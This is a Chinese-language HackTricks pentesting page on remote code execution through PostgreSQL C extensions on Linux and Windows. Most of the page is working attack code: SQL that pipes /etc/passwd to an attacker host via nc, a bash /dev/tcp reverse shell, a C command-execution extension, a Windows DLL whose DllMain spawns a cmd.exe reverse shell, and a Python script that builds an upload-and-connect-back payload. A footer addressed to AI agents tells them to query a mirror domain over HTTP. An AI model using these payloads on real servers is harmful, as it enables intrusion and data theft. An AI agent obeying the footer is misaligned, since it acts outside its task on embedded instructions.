# RCE with PostgreSQL Extensions

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

* 您在**网络安全公司**工作吗？ 想要看到您的**公司在HackTricks中做广告**？ 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享您的黑客技巧**。

</details>

## PostgreSQL扩展

PostgreSQL具有可扩展性作为核心功能进行开发，使其能够无缝地集成扩展，就好像它们是内置功能一样。这些扩展本质上是用C编写的库，为数据库提供了额外的函数、运算符或类型。

从8.1版本开始，对扩展库施加了一个特定要求：它们必须使用特殊头文件进行编译。如果没有这个，PostgreSQL将不会执行它们，确保只使用兼容且潜在安全的扩展。

此外，请记住**如果您不知道如何** [**利用PostgreSQL上传文件到受害者，您应该阅读此文章。**](/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md)

### Linux中的RCE

**有关更多信息，请查看：**[**https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/**](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)

从PostgreSQL 8.1及更早版本开始执行系统命令是一个已经被清楚记录并且直截了当的过程。可以使用此：[Metasploit模块](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload)。

```sql
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
```

<details>

<summary>使用base64编写二进制文件</summary>

要在PostgreSQL中将二进制数据写入文件，您可能需要使用base64，这将对此非常有帮助：

```sql
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;

IF fh <= 2 THEN
RETURN 1;
END IF;

SELECT decode(s, 'base64') INTO w;

i := 0;
LOOP
EXIT WHEN i >= octet_length(w);

SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;

IF rs < 0 THEN
RETURN 2;
END IF;

i := i + 1;
END LOOP;

SELECT close(fh) INTO rs;

RETURN 0;

END;
$$ LANGUAGE 'plpgsql';
```

</details>

然而，在尝试更高版本时，**显示了以下错误**：

```c
ERROR:  incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.
```

这个错误在[PostgreSQL文档](https://www.postgresql.org/docs/current/static/xfunc-c.html)中有解释：

> 为了确保动态加载的对象文件不会加载到不兼容的服务器中，PostgreSQL会检查文件是否包含一个带有适当内容的“魔术块”。这使得服务器能够检测明显的不兼容性，比如为不同主要版本的PostgreSQL编译的代码。从PostgreSQL 8.2开始，魔术块是必需的。要包含一个魔术块，在模块源文件中的一个（且仅一个）中写入以下内容，之前必须包含头文件fmgr.h：
>
> `#ifdef PG_MODULE_MAGIC`\
> `PG_MODULE_MAGIC;`\
> `#endif`

自PostgreSQL 8.2版本以来，攻击者利用系统进行攻击的过程变得更具挑战性。攻击者必须要么利用系统中已经存在的库，要么上传一个自定义库。这个自定义库必须针对与PostgreSQL兼容的主要版本进行编译，并且必须包含特定的“魔术块”。这一措施显著增加了利用PostgreSQL系统的难度，因为它需要对系统架构和版本兼容性有更深入的了解。

#### 编译库

获取PostgreSQL版本：

```sql
SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
```

为了兼容性，主要版本必须保持一致。因此，使用9.6.x系列中的任何版本编译库应该确保成功集成。

要在您的系统中安装该版本：

```bash
apt install postgresql postgresql-server-dev-9.6
```

然后编译库：

```c
//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}
```

然后上传已编译的库并使用以下命令执行：

```bash
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes
```

您可以找到这个**库的预编译版本**适用于多个不同的PostgreSQL版本，甚至可以通过以下方式（如果您有PostgreSQL访问权限）**自动化这个过程**：

{% embed url="<https://github.com/Dionach/pgexec>" %}

### 在Windows中的RCE

以下DLL以**二进制文件的名称**和要执行的**次数**作为输入，并执行它：

```c
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);

/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/

int instances = PG_GETARG_INT32(1);

for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}
```

你可以在这个压缩包中找到编译好的 DLL：

{% file src="/files/ERYsFQmeOUvTREuwKy9u" %}

你可以指示这个 DLL **要执行哪个二进制文件** 以及要执行的次数，在这个例子中它将执行 `calc.exe` 2 次：

```bash
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);
```

在[**这里**](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)你可以找到这个反向shell：

```c
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS

BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;

char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);

WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);

struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));

server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);

WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);

memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;

CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);

return TRUE;
}

#pragma warning(pop) /* re-enable 4996 */

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);

PG_FUNCTION_INFO_V1(add_one);

Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);

PG_RETURN_INT32(arg + 1);
}
```

注意，在这种情况下，**恶意代码位于 DllMain 函数内**。这意味着在这种情况下，**不需要执行加载的函数在 postgresql 中**，只需**加载 DLL** 就会**执行**反向 shell：

```c
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
```

### 在最新的Prostgres版本中的RCE

在最新的PostgreSQL版本中，已经实施了一些限制，其中`superuser`被禁止从特定目录加载共享库文件，例如在Windows上是`C:\Program Files\PostgreSQL\11\lib`或在\*nix系统上是`/var/lib/postgresql/11/lib`。这些目录受到NETWORK\_SERVICE或postgres帐户的写入操作限制。

尽管存在这些限制，经过身份验证的数据库`superuser`仍然可以使用“大对象”将二进制文件写入文件系统。这种能力扩展到了在`C:\Program Files\PostgreSQL\11\data`目录内进行写入，这对于数据库操作（如更新或创建表）至关重要。

一个重要的漏洞来自`CREATE FUNCTION`命令，它允许对数据目录进行目录遍历。因此，一个经过身份验证的攻击者可以利用这种遍历将共享库文件写入数据目录，然后加载它。这种利用使攻击者能够执行任意代码，在系统上实现本地代码执行。

#### 攻击流程

首先，您需要使用大对象来上传dll。您可以在这里看到如何操作：

{% content-ref url="/pages/HOjESSTx7WE5npyBMwmo" %}
[Big Binary Files Upload (PostgreSQL)](/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md)
{% endcontent-ref %}

一旦您已将扩展（在此示例中为poc.dll）上传到数据目录，您可以使用以下命令加载它：

```c
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
```

*请注意，您无需附加`.dll`扩展名，因为创建函数将自动添加。*

有关更多信息，请**阅读**[**此处的原始出版物**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**。**\
在该出版物中，**这是用于生成postgres扩展的**[**代码**](https://github.com/sourceincite/tools/blob/master/pgpwn.c)（*要了解如何编译postgres扩展，请阅读以前的任何版本*）。\
在同一页中，提供了这个**自动化利用**此技术的漏洞：

```python
#!/usr/bin/env python3
import sys

if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end   = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end   = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())

sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print("    select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print("    drop function connect_back(text, integer);")
```

## 参考资料

* <https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/>
* <https://www.exploit-db.com/papers/13084>

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

* 您在**网络安全公司**工作吗？ 想要在**HackTricks中宣传您的公司**？ 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的 **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享您的黑客技巧**。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
